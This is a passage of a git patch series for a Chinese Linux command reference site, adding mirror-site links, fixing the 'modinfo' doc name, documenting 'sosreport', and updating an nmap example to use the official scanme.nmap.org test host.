[`nenufm.com`](https://www.nenufm.com/linux-command/) -[`linux.jiangyang.online`](https://linux.jiangyang.online/) +[`jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** [`lylme.com`](https://linux.lylme.com/) -[`linux.ftqq.com`](https://linux.ftqq.com/) -[`linux.gaomeluo.com`](https://linux.gaomeluo.com) +[`ftqq.com`](https://linux.ftqq.com/) +[`gaomeluo.com`](https://linux.gaomeluo.com) [`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826) [`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/) [`262235.xyz`](https://262235.xyz/linux-command/) From a6ab2b3f471ffddc7e75aeeef7e7757c66bb08b5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 9 Jul 2025 12:12:02 +0800 Subject: [PATCH 503/570] doc: add mirror site #649 --- README.md | 1 + template/contributors.ejs | 2 ++ 2 files changed, 3 insertions(+) diff --git a/README.md b/README.md index 9d3932ce508..cfff395d243 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`cnxiaobai.com`**](https://linux.cnxiaobai.com) [**`sicangge.com`**](https://linux.sicangge.com) [**`largeinfo.cc`**](http://linuxsearch.largeinfo.cc) [**`srebro.cn`**](https://linux.srebro.cn/) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3b7403ba60f..16eabfa62b6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -193,6 +193,8 @@

镜像网站

+ cnxiaobai.com + shinote.net linux.sicangge.com linuxsearch.largeinfo.cc srebro.cn From fe34ecc33c66958f5ca4423e06414bf83e0d5e6b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 11 Jul 2025 00:49:16 +0800 Subject: [PATCH 504/570] doc: add mirror site #649 --- README.md | 1 + template/contributors.ejs | 1 + 2 files changed, 2 insertions(+) diff --git a/README.md b/README.md index cfff395d243..e84c5374cf7 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`fasfuah.icu`**](https://linux.fasfuah.icu) [**`cnxiaobai.com`**](https://linux.cnxiaobai.com) [**`sicangge.com`**](https://linux.sicangge.com) [**`largeinfo.cc`**](http://linuxsearch.largeinfo.cc) diff --git a/template/contributors.ejs b/template/contributors.ejs index 16eabfa62b6..c4d7d280ac4 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -193,6 +193,7 @@

镜像网站

+ fasfuah.icu cnxiaobai.com shinote.net linux.sicangge.com From 1f54eef1cbd8e70e9b086af9fc3278e4a8731b8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 16 Jul 2025 22:46:50 +0800 Subject: [PATCH 505/570] doc: add mirror site #649 --- README.md | 1 + template/contributors.ejs | 1 + 2 files changed, 2 insertions(+) diff --git a/README.md b/README.md index e84c5374cf7..420e1cb3321 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`alapi.cn`**](https://linux.alapi.cn) [**`fasfuah.icu`**](https://linux.fasfuah.icu) [**`cnxiaobai.com`**](https://linux.cnxiaobai.com) [**`sicangge.com`**](https://linux.sicangge.com) diff --git a/template/contributors.ejs b/template/contributors.ejs index c4d7d280ac4..bae461d8c28 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -193,6 +193,7 @@

镜像网站

+ alapi.cn fasfuah.icu cnxiaobai.com shinote.net From 5a48e17fb173602f9149369a18a271b5240aadea Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 16 Jul 2025 22:54:22 +0800 Subject: [PATCH 506/570] doc: add mirror site #649 --- template/contributors.ejs | 1 + 1 file changed, 1 insertion(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index bae461d8c28..320fcf43811 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -216,6 +216,7 @@

魔改网站

+ witnect.top lylme.com linux.ftqq.com linux.gaomeluo.com From b1368b8d3872a9916b142d3ba41564c830a8bd0f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 16 Jul 2025 23:01:32 +0800 Subject: [PATCH 507/570] doc: add mirror site #649 --- template/contributors.ejs | 1 + 1 file changed, 1 insertion(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 320fcf43811..a75345fd5d2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -216,6 +216,7 @@

魔改网站

+ ifdev.cn witnect.top lylme.com linux.ftqq.com From 8441c983f9d099494228e64dba649334f0ef3868 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 16 Jul 2025 23:05:05 +0800 Subject: [PATCH 508/570] doc: add mirror site #649 --- README.md | 3 +++ template/contributors.ejs | 1 + 2 files changed, 4 insertions(+) diff --git a/README.md b/README.md index 420e1cb3321..8290b189b03 100644 --- a/README.md +++ b/README.md @@ -93,6 +93,9 @@ **其它 web 版本** +[`pkslow.com`](https://www.pkslow.com/linux-commands/index.html) +[`ifdev.cn`](https://cmd.ifdev.cn) +[`witnect.top`](https://witnect.top/) [`lylme.com`](https://linux.lylme.com/) [`ftqq.com`](https://linux.ftqq.com/) [`gaomeluo.com`](https://linux.gaomeluo.com) diff --git a/template/contributors.ejs b/template/contributors.ejs index a75345fd5d2..1cbeeaf2dac 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -216,6 +216,7 @@

魔改网站

+ pkslow.com ifdev.cn witnect.top lylme.com From e15fad9ada219a62b5f008f45e4b1166c6e75b09 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 16 Jul 2025 23:08:18 +0800 Subject: [PATCH 509/570] doc: add mirror site #649 --- README.md | 2 ++ template/contributors.ejs | 2 ++ 2 files changed, 4 insertions(+) diff --git a/README.md b/README.md index 8290b189b03..5ce1431f6c5 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`zanglikun.com`**](https://linux.zanglikun.com) [**`alapi.cn`**](https://linux.alapi.cn) [**`fasfuah.icu`**](https://linux.fasfuah.icu) [**`cnxiaobai.com`**](https://linux.cnxiaobai.com) @@ -93,6 +94,7 @@ **其它 web 版本** +[`briline.net`](http://linux.briline.net) [`pkslow.com`](https://www.pkslow.com/linux-commands/index.html) [`ifdev.cn`](https://cmd.ifdev.cn) [`witnect.top`](https://witnect.top/) diff --git a/template/contributors.ejs b/template/contributors.ejs index 1cbeeaf2dac..3c8a8c6d973 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -193,6 +193,7 @@

镜像网站

+ zanglikun.com alapi.cn fasfuah.icu cnxiaobai.com @@ -216,6 +217,7 @@

魔改网站

+ briline.net pkslow.com ifdev.cn witnect.top From 2cc57dc8ebfc481119675b9702cbea1fd1aaa120 Mon Sep 17 00:00:00 2001 From: kmephistoh Date: Fri, 18 Jul 2025 00:55:14 +0800 Subject: [PATCH 510/570] =?UTF-8?q?fix:=20command/bmodinfo.md=20=E2=86=92?= =?UTF-8?q?=20command/modinfo.md=20(#652)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/{bmodinfo.md => modinfo.md} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename command/{bmodinfo.md => modinfo.md} (90%) diff --git a/command/bmodinfo.md b/command/modinfo.md similarity index 90% rename from command/bmodinfo.md rename to command/modinfo.md index dd59ab7b999..ae0ab2e1ea5 100644 --- a/command/bmodinfo.md +++ b/command/modinfo.md @@ -1,16 +1,16 @@ -bmodinfo +modinfo === 显示给定模块的详细信息 ## 补充说明 -**bmodinfo命令** 用于显示给定模块的详细信息。 +**modinfo命令** 用于显示给定模块的详细信息。 ### 语法 ```shell -bmodinfo(选项)(参数) +modinfo(选项)(参数) ``` ### 选项 From 063995ab4cf9061eada28978cf073f978d3fcd7f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 17 Jul 2025 16:55:55 +0000 Subject: [PATCH 511/570] doc: update README.md. --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 5ce1431f6c5..e27c8018c7f 100644 --- a/README.md +++ b/README.md @@ -408,12 +408,12 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD YH Xingwen Zhang -illmons jcdj666 jqz3.tech juemuren4449 kassadin NanoNova +kmephistoh leo lewis1573 linuxwd @@ -423,7 +423,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -0x_000 dayday Deny dongpohezui @@ -440,6 +439,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 +illmons zyimm 七朔 孤城落寞 @@ -474,6 +474,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +0x_000 Jelly Nexchard Karl Horky From 8d8be83a15dadd2332f886438acc7e7d69106260 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 17 Jul 2025 16:55:56 +0000 Subject: [PATCH 512/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3c8a8c6d973..436c2ae6649 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -53,12 +53,12 @@ RichardLCD YH Xingwen Zhang -illmons jcdj666 jqz3.tech juemuren4449 kassadin NanoNova +kmephistoh leo lewis1573 linuxwd @@ -68,7 +68,6 @@ miniwater noodles2hg nsnans -0x_000 dayday Deny dongpohezui @@ -85,6 +84,7 @@ hotdogc1017 huangyao hululu1068 +illmons zyimm 七朔 孤城落寞 @@ -119,6 +119,7 @@ zodiac zoomdong zuixin369 +0x_000 Jelly Nexchard Karl Horky From 92d7a8d45ccf70a5c3cb0c852aee56d377aca895 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 25 Jul 2025 15:27:27 +0800 Subject: [PATCH 513/570] doc: add mirror site #649 --- README.md | 1 + template/contributors.ejs | 1 + 2 files changed, 2 insertions(+) diff --git a/README.md b/README.md index e27c8018c7f..7ca27527b18 100644 --- a/README.md +++ b/README.md @@ -91,6 +91,7 @@ [`alistnas.top`](https://linux.alistnas.top/) [`nenufm.com`](https://www.nenufm.com/linux-command/) [`jiangyang.online`](https://linux.jiangyang.online/) +[`xiyung.cn`](https://xiyung.cn/linux-command/) **其它 web 版本** diff --git a/template/contributors.ejs b/template/contributors.ejs index 436c2ae6649..586d830f37a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -215,6 +215,7 @@ linux.alistnas.top nenufm.com linux.jiangyang.online + xiyung.cn

魔改网站

From 4fd2b5e20a8dc404aa962e0dd8f06e4a0b1c18be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 30 Jul 2025 19:53:08 +0800 Subject: [PATCH 514/570] feat: add command/sosreport.md #656 --- command/sosreport.md | 146 +++++++++++++++++++++++++++++++++++++++++++ dist/data.json | 17 +++-- dist/data.min.json | 2 +- 3 files changed, 158 insertions(+), 7 deletions(-) create mode 100644 command/sosreport.md diff --git a/command/sosreport.md b/command/sosreport.md new file mode 100644 index 00000000000..729c86222bb --- /dev/null +++ b/command/sosreport.md @@ -0,0 +1,146 @@ +sosreport +=== + +收集系统配置和诊断信息 + +## 补充说明 + +**sosreport命令** 是一个配置和数据收集实用程序，用于收集系统配置、日志文件和诊断信息，以便进行故障排除和分析。它将信息打包到一个压缩的tar文件中，便于传输和分析。sosreport是Red Hat Enterprise Linux系统中用于技术支持的标准工具。 + +### 语法 + +```shell +sosreport [选项] +``` + +### 选项 + +```shell +-l, --list-plugins # 列出所有可用的插件 +-n, --skip-plugins # 跳过指定的插件（多个插件用逗号分隔） +-e, --enable-plugins # 启用指定的插件（多个插件用逗号分隔） +-o, --only-plugins # 只运行指定的插件（多个插件用逗号分隔） +-a, --alloptions # 启用所有插件选项 +-v, --verbose # 详细输出模式 +-q, --quiet # 静默模式，减少输出 +--batch # 批处理模式，不提示用户输入 +--build # 收集系统构建信息 +--case-id=CASE_ID # 指定案例ID +--config-file=CONFIG # 指定配置文件路径 +--debug # 调试模式 +--experimental # 启用实验性插件 +--log-size=SIZE # 限制日志文件大小（MB） +--plugin-timeout=TIMEOUT # 插件超时时间（秒） +--since=DATE # 从指定日期开始收集日志 +--tmp-dir=DIR # 指定临时目录 +--verify # 验证归档的完整性 +-z, --compression-type # 指定压缩类型（gzip, bzip2, xz） +``` + +### 常用选项 + +```shell +-a # 启用所有插件选项，收集最全面的信息 +-v # 详细模式，显示收集过程 +-q # 静默模式，最小化输出 +--batch # 批处理模式，不需要用户交互 +``` + +### 实例 + +收集系统诊断信息： + +```shell +sosreport +``` + +批处理模式收集信息（无需用户交互）： + +```shell +sosreport --batch +``` + +详细模式收集信息： + +```shell +sosreport -v +``` + +启用所有插件选项收集完整信息： + +```shell +sosreport -a +``` + +只收集网络相关信息： + +```shell +sosreport -o network +``` + +跳过某些插件： + +```shell +sosreport -n rpm,yum +``` + +收集指定日期之后的日志： + +```shell +sosreport --since="2023-01-01" +``` + +指定案例ID和批处理模式： + +```shell +sosreport --batch --case-id=12345678 +``` + +列出所有可用插件： + +```shell +sosreport -l +``` + +收集系统信息并限制日志文件大小： + +```shell +sosreport --log-size=100 +``` + +使用不同的压缩类型： + +```shell +sosreport -z xz +``` + +### 常见插件 + +```shell +block # 块设备信息 +boot # 启动相关信息 +kernel # 内核信息 +logs # 系统日志 +memory # 内存信息 +network # 网络配置 +networking # 网络诊断 +process # 进程信息 +processor # CPU信息 +rpm # RPM包信息 +system # 系统配置 +yum # YUM包管理器信息 +``` + +### 输出文件 + +sosreport会在`/var/tmp/`目录下生成一个压缩的tar文件，文件名格式为： +``` +sosreport---.tar.xz +``` + +### 注意事项 + +- sosreport需要root权限运行 +- 收集的信息可能包含敏感数据，传输前请确认安全性 +- 生成的文件可能较大，请确保有足够的磁盘空间 +- 默认情况下，敏感信息（如密码、密钥）会被混淆处理 diff --git a/dist/data.json b/dist/data.json index ace6fad37f7..831577c350e 100644 --- a/dist/data.json +++ b/dist/data.json @@ -184,11 +184,6 @@ "p": "/blockdev", "d": "从命令行调用区块设备控制程序" }, - "bmodinfo": { - "n": "bmodinfo", - "p": "/bmodinfo", - "d": "显示给定模块的详细信息" - }, "break": { "n": "break", "p": "/break", @@ -1629,6 +1624,11 @@ "p": "/modetest", "d": "DRM/KMS驱动程序libdrm中的模式测试工具" }, + "modinfo": { + "n": "modinfo", + "p": "/modinfo", + "d": "显示给定模块的详细信息" + }, "modprobe": { "n": "modprobe", "p": "/modprobe", @@ -1692,7 +1692,7 @@ "named-checkzone": { "n": "named-checkzone", "p": "/named-checkzone", - "d": "使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称" + "d": "使用 named-checkzone 可验证并转换区域文件，需指定区域名和文件名。" }, "nano": { "n": "nano", @@ -2399,6 +2399,11 @@ "p": "/sort", "d": "对文本文件中所有行进行排序。" }, + "sosreport": { + "n": "sosreport", + "p": "/sosreport", + "d": "收集系统配置和诊断信息" + }, "source": { "n": "source", "p": "/source", diff --git a/dist/data.min.json b/dist/data.min.json index c184790cee2..63b81302a1f 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 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平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 2c3a1aff9a1aca4f043ce2228ead5d14ea95be68 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 1 Aug 2025 01:25:17 +0800 Subject: [PATCH 515/570] doc: add mirror site #649. --- README.md | 1 + template/contributors.ejs | 1 + 2 files changed, 2 insertions(+) diff --git a/README.md b/README.md index 7ca27527b18..d388f58e333 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`waadri.top`**](https://linuxcommand.waadri.top) [**`zanglikun.com`**](https://linux.zanglikun.com) [**`alapi.cn`**](https://linux.alapi.cn) [**`fasfuah.icu`**](https://linux.fasfuah.icu) diff --git a/template/contributors.ejs b/template/contributors.ejs index 586d830f37a..7af3e3ded1a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -194,6 +194,7 @@

镜像网站

+ waadri.top zanglikun.com alapi.cn fasfuah.icu From a4d53d50b4ef52b7168d8892656e837c65ae051d Mon Sep 17 00:00:00 2001 From: jcdj666 Date: Wed, 6 Aug 2025 20:42:34 +0800 Subject: [PATCH 516/570] doc: Update nmap.md (#660) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 替换原实例网址，该网址已被污染为非法网站。 替换后的网址scanme.nmap.org为nmap官方测试使用的网址 --- command/nmap.md | 31 ++++++++++++++++++++----------- 1 file changed, 20 insertions(+), 11 deletions(-) diff --git a/command/nmap.md b/command/nmap.md index 8063525d0eb..62f5802de2b 100644 --- a/command/nmap.md +++ b/command/nmap.md @@ -54,20 +54,29 @@ ip地址：指定待扫描报文中的TCP地址。 yum install nmap ``` - **使用nmap扫描www.jsdig.com的开放端口** + **使用nmap扫描scanme.nmap.org的开放端口** ```shell -[root@localhost ~]# nmap www.jsdig.com - -Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST -Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): -Not shown: 1678 filtered ports -PORT STATE service -22/tcp open ssh -80/tcp open http - -Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds +[root@localhost ~]# nmap scanme.nmap.org + +Starting Nmap 7.92 ( https://nmap.org ) at 2025-08-06 15:22 CST +Nmap scan report for scanme.nmap.org (45.33.32.156) +Host is up (0.37s latency). +Not shown: 991 closed tcp ports (reset) +PORT STATE SERVICE +22/tcp open ssh +80/tcp open http +135/tcp filtered msrpc +139/tcp filtered netbios-ssn +445/tcp filtered microsoft-ds +593/tcp filtered http-rpc-epmap +4444/tcp filtered krb524 +9929/tcp open nping-echo +31337/tcp open Elite + +Nmap done: 1 IP address (1 host up) scanned in 60.36 seconds ``` + From 9a71957a6a4f13afc9b9d0a3441d40f6d5a844a6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 6 Aug 2025 12:43:22 +0000 Subject: [PATCH 517/570] doc: update README.md. --- README.md | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index d388f58e333..a43e0d603f3 100644 --- a/README.md +++ b/README.md @@ -376,29 +376,30 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -dulltackle ernest +dulltackle 谈笑风生间 zyy2477 rgshare -loverainye -lavaicer -YEUNGCHIE James Wang MioMuse -Xrtero -Shan Chenyu SteveLauC -BingCoke -gggwvg -VVatt -will -xhal -Shell -沙漠之子 +Shan Chenyu +Xrtero +YEUNGCHIE +lavaicer +loverainye alfred Wang Yujia +沙漠之子 Qliangw +Shell +xhal +will +VVatt +jcdj666 +gggwvg +BingCoke Ein Verne FunKeen Jeremy2214 @@ -410,7 +411,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD YH Xingwen Zhang -jcdj666 +illmons jqz3.tech juemuren4449 kassadin @@ -425,6 +426,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans +0x_000 dayday Deny dongpohezui @@ -441,7 +443,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 -illmons zyimm 七朔 孤城落寞 @@ -476,7 +477,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 Jelly Nexchard Karl Horky From a8f95f074ff6876d9a73a9e6abca564b63ee3e79 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 6 Aug 2025 12:43:23 +0000 Subject: [PATCH 518/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 7af3e3ded1a..b407997ee56 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -19,29 +19,30 @@ Zijing Zhang Fubin Zhang __FresHmaN -dulltackle ernest +dulltackle 谈笑风生间 zyy2477 rgshare -loverainye -lavaicer -YEUNGCHIE James Wang MioMuse -Xrtero -Shan Chenyu SteveLauC -BingCoke -gggwvg -VVatt -will -xhal -Shell -沙漠之子 +Shan Chenyu +Xrtero +YEUNGCHIE +lavaicer +loverainye alfred Wang Yujia +沙漠之子 Qliangw +Shell +xhal +will +VVatt +jcdj666 +gggwvg +BingCoke Ein Verne FunKeen Jeremy2214 @@ -53,7 +54,7 @@ RichardLCD YH Xingwen Zhang -jcdj666 +illmons jqz3.tech juemuren4449 kassadin @@ -68,6 +69,7 @@ miniwater noodles2hg nsnans +0x_000 dayday Deny dongpohezui @@ -84,7 +86,6 @@ hotdogc1017 huangyao hululu1068 -illmons zyimm 七朔 孤城落寞 @@ -119,7 +120,6 @@ zodiac zoomdong zuixin369 -0x_000 Jelly Nexchard Karl Horky From 723017c10c43f8df7f5e8c0afbcfca62a3583f6a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 8 Aug 2025 17:18:33 +0800 Subject: [PATCH 519/570] doc: add mirror site #649. --- README.md | 1 + template/contributors.ejs | 1 + 2 files changed, 2 insertions(+) diff --git a/README.md b/README.md index a43e0d603f3..aafe509f0a1 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`wu114.cn`**](https://linux.wu114.cn) [**`waadri.top`**](https://linuxcommand.waadri.top) [**`zanglikun.com`**](https://linux.zanglikun.com) [**`alapi.cn`**](https://linux.alapi.cn) diff --git a/template/contributors.ejs b/template/contributors.ejs index b407997ee56..a96a81169a6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs 